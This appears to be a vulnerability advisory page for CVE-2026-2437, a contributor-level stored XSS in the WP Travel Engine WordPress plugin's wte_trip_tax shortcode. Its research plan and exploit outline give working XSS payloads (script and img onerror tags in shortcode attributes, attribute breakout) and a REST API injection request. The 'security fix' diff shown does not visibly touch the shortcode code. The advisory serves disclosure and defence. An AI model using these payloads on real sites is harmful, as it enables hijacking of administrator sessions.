CVE-2026-2437

WP Travel Engine - Travel and Tour Booking Plugin <= 6.7.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via wte_trip_tax Shortcode

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
6.7.6
Patched in
1d
Time to patch

Description

The WP Travel Engine – Tour Booking Plugin – Tour Operator Software plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wte_trip_tax' shortcode in all versions up to, and including, 6.7.5 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=6.7.5
PublishedApril 3, 2026
Last updatedApril 4, 2026
Affected pluginwp-travel-engine

What Changed in the Fix

Changes introduced in v6.7.6

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-2437 - WP Travel Engine Shortcode XSS ## 1. Vulnerability Summary The **WP Travel Engine** plugin (up to version 6.7.5) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists within the handler for the `wte_trip_tax` sho…

Show full research plan

Exploitation Research Plan: CVE-2026-2437 - WP Travel Engine Shortcode XSS

1. Vulnerability Summary

The WP Travel Engine plugin (up to version 6.7.5) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists within the handler for the wte_trip_tax shortcode. Due to insufficient sanitization of shortcode attributes (such as before, after, or taxonomy) and a failure to escape these values before they are returned/echoed in the HTML output, a user with Contributor level permissions or higher can inject malicious JavaScript into a post or page. This script executes in the context of any user (including Administrators) who views the affected content.

2. Attack Vector Analysis

  • Shortcode: [wte_trip_tax]
  • Vulnerable Attributes: Likely before, after, taxonomy, or class (common taxonomy shortcode parameters).
  • Authentication Level: Contributor or higher (anyone with edit_posts capability).
  • Endpoint: Any page or post where shortcodes can be processed (Post Editor).
  • Payload Carry: The payload is embedded directly into the shortcode attributes within the post content.

3. Code Flow

  1. Registration: The plugin registers the shortcode (likely in a main initialization file or a dedicated shortcode class) using add_shortcode( 'wte_trip_tax', 'callback_function' ).
  2. Processing: When a post containing [wte_trip_tax ...] is rendered, WordPress calls the associated callback function.
  3. Attribute Handling: The callback uses shortcode_atts() to merge user-provided attributes with defaults.
  4. The Sink: The callback function likely constructs an HTML string and includes the attribute values directly. For example:
    // Inferred vulnerable pattern
    $output = $atts['before'] . $taxonomy_links . $atts['after'];
    return $output; // Missing esc_html() or wp_kses()
    
  5. Rendering: The unescaped string is returned to the WordPress content filter and rendered in the browser, executing the XSS.

4. Nonce Acquisition Strategy

This vulnerability does not require a specific plugin-defined nonce for the execution of the XSS, as shortcodes are interpreted by the WordPress core rendering engine. However, to inject the payload, the attacker must be able to save a post.

Extraction via Browser (If needed for AJAX/Gutenberg):

If the exploit were to be performed via a specialized plugin endpoint that requires a nonce:

  1. Identify Script Localization: Check for wp_localize_script in the plugin source.
  2. Shortcode Presence: The plugin's assets are typically enqueued on Trip pages or pages using the shortcode.
  3. Creation: Create a page with the shortcode using WP-CLI.
    wp post create --post_type=page --post_status=publish --post_content='[wte_trip_tax]'
  4. Extraction:
    • Use browser_navigate to the created page.
    • Use browser_eval("window.wte_obj?.nonce") (Replace wte_obj with the actual localization key found in source, though for standard shortcode XSS, this is unnecessary).

5. Exploitation Strategy

The goal is to demonstrate that a Contributor can inject a script that executes for an Administrator.

Step-by-Step Plan:

  1. Login as Contributor: Obtain cookies for a user with the Contributor role.
  2. Prepare Payload: Use a standard XSS payload that breaks out of common HTML contexts.
    [wte_trip_tax before="<script>alert(document.domain)</script>"]
  3. Inject via Post Creation: Use the http_request tool to create or update a post with the payload. Since we are simulating a Contributor, we will use the WordPress REST API or the standard post.php endpoint.
  4. Trigger XSS: Navigate to the published post as an Administrator.

Required HTTP Request (Post Creation):

URL: http://localhost:8080/wp-json/wp/v2/posts
Method: POST
Headers:

  • Content-Type: application/json
  • Authorization: [Contributor Auth Header]
    Body:
{
  "title": "Trip Overview",
  "content": "[wte_trip_tax before=\"<img src=x onerror=alert('CVE-2026-2437')>\"]",
  "status": "pending"
}

Note: Contributors usually "Submit for Review" (pending), but an Admin viewing the "Preview" or "Edit" page will still trigger the XSS.

6. Test Data Setup

  1. Target User: Ensure a user with role contributor exists.
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
  2. Target Trip (Optional): Some taxonomy shortcodes require a valid post ID or the context of a specific post type. If the shortcode fails without a "Trip", create one:
    wp post create --post_type=trip --post_title="Sample Trip" --post_status=publish
  3. Payload Page: Create a page containing the shortcode.
    wp post create --post_type=post --post_author=[AttackerID] --post_content='[wte_trip_tax before="<script>alert(1)</script>"]' --post_status=pending

7. Expected Results

  • When an Administrator views the "Pending" post or the "Preview" of the post in the WordPress dashboard, an alert box with CVE-2026-2437 (or 1) should appear.
  • Inspecting the page source should reveal the raw <script> or <img> tag inside the wp-travel-engine output container.

8. Verification Steps

  1. Check Database: Verify the payload is stored in the wp_posts table.
    wp db query "SELECT post_content FROM wp_posts WHERE post_content LIKE '%wte_trip_tax%';"
  2. Frontend Inspection: Check the HTTP response of the rendered post for the unescaped payload.
    • Use http_request to GET the post URL.
    • Search the body for <img src=x onerror=alert.

9. Alternative Approaches

  • Attribute Breakout: If before is sanitized but class is not:
    [wte_trip_tax class="\" onmouseover=\"alert(1)\""]
  • Taxonomy Injection: If the taxonomy attribute is reflected:
    [wte_trip_tax taxonomy="<script>alert(1)</script>"]
  • Gutenberg Block: The plugin likely provides a Gutenberg block that wraps this shortcode. The exploit can also be tested by saving a block with malicious attributes via the REST API.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP Travel Engine plugin for WordPress is vulnerable to Authenticated (Contributor+) Stored Cross-Site Scripting via the 'wte_trip_tax' shortcode in versions up to and including 6.7.5. This vulnerability arises from insufficient input sanitization and output escaping of user-supplied shortcode attributes, allowing attackers to inject arbitrary web scripts into posts or pages.

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-travel-engine/6.7.5/admin/class-wp-travel-engine-admin.php /home/deploy/wp-safety.org/data/plugin-versions/wp-travel-engine/6.7.6/admin/class-wp-travel-engine-admin.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-travel-engine/6.7.5/admin/class-wp-travel-engine-admin.php	2026-02-02 02:13:46.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-travel-engine/6.7.6/admin/class-wp-travel-engine-admin.php	2026-02-23 02:06:50.000000000 +0000
@@ -148,8 +148,8 @@
 	 * Exclude custom trips (from manual booking) from trip count on Trips list.
 	 *
 	 * @param \stdClass $counts An object containing the post counts by status.
-	 * @param string   $type   Post type.
-	 * @param string   $perm   Permission level.
+	 * @param string    $type   Post type.
+	 * @param string    $perm   Permission level.
 	 * @return \stdClass Modified counts.
 	 * @since 6.7.3
 	 */
@@ -253,6 +253,7 @@
 				'position'    => 19,
 				'condition'   => file_exists( WPTRAVELENGINE_UPDATES_DATA_PATH . '/data.json' ),
 			),
+			'wptravelengine-logs'                => new \WPTravelEngine\Logger\Admin\LogsPage(),
 		);
 
 		$menus = apply_filters( 'wptravelengine-admin:boooking:submenus', $menus );
@@ -2520,6 +2521,11 @@
 			$wp_travel_engine_setting          = get_post_meta( $enquiry_id, 'wp_travel_engine_setting', true );
 			$wp_travel_engine_enquiry_formdata = get_post_meta( $enquiry_id, 'wp_travel_engine_enquiry_formdata', true );
 			$wte_old_enquiry_details           = isset( $wp_travel_engine_setting['enquiry'] ) ? $wp_travel_engine_setting['enquiry'] : array();
+
+			$enquiry_display       = wptravelengine_get_enquiry_form_field_map( isset( $wp_travel_engine_enquiry_formdata['package_id'] ) ? absint( $wp_travel_engine_enquiry_formdata['package_id'] ) : 0 );
+			$enquiry_field_map     = $enquiry_display['field_map'];
+			$validation_only_types = $enquiry_display['validation_only_types'];
+
 			ob_start();
 			?>
 			<div style="background-color:#ffffff" class="wpte-main-wrap wpte-edit-enquiry">
@@ -2530,12 +2536,12 @@
 								<?php
 								if ( ! empty( $wp_travel_engine_enquiry_formdata ) ) :
 									foreach ( $wp_travel_engine_enquiry_formdata as $key => $data ) :
-										$data       = is_array( $data ) ? implode( ', ', $data ) : $data;
-										$data_label = wp_travel_engine_get_enquiry_field_label_by_name( $key );
-
-										if ( 'package_name' === $key ) {
-											$data_label = esc_html__( 'Package Name', 'wp-travel-engine' );
+										if ( wptravelengine_enquiry_should_hide_field( $key, $enquiry_field_map, $validation_only_types ) ) {
+											continue;
 										}
+
+										$data       = is_array( $data ) ? implode( ', ', $data ) : $data;
+										$data_label = wptravelengine_enquiry_get_field_display_label( $key, $enquiry_field_map );
 										?>
 										<li>
 											<b><?php echo esc_html( $data_label ); ?></b>

Exploit Outline

To exploit this vulnerability, an attacker must have at least Contributor-level authentication. The attacker creates or edits a post and inserts the [wte_trip_tax] shortcode, including a malicious JavaScript payload within attributes like 'before' or 'after' (e.g., [wte_trip_tax before="<script>alert(document.domain)</script>"]). When the post is saved or submitted for review, the payload is stored in the database. When an administrator or any other user views the post (including in the admin preview mode), the shortcode handler renders the unescaped attribute, executing the script in the user's browser context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.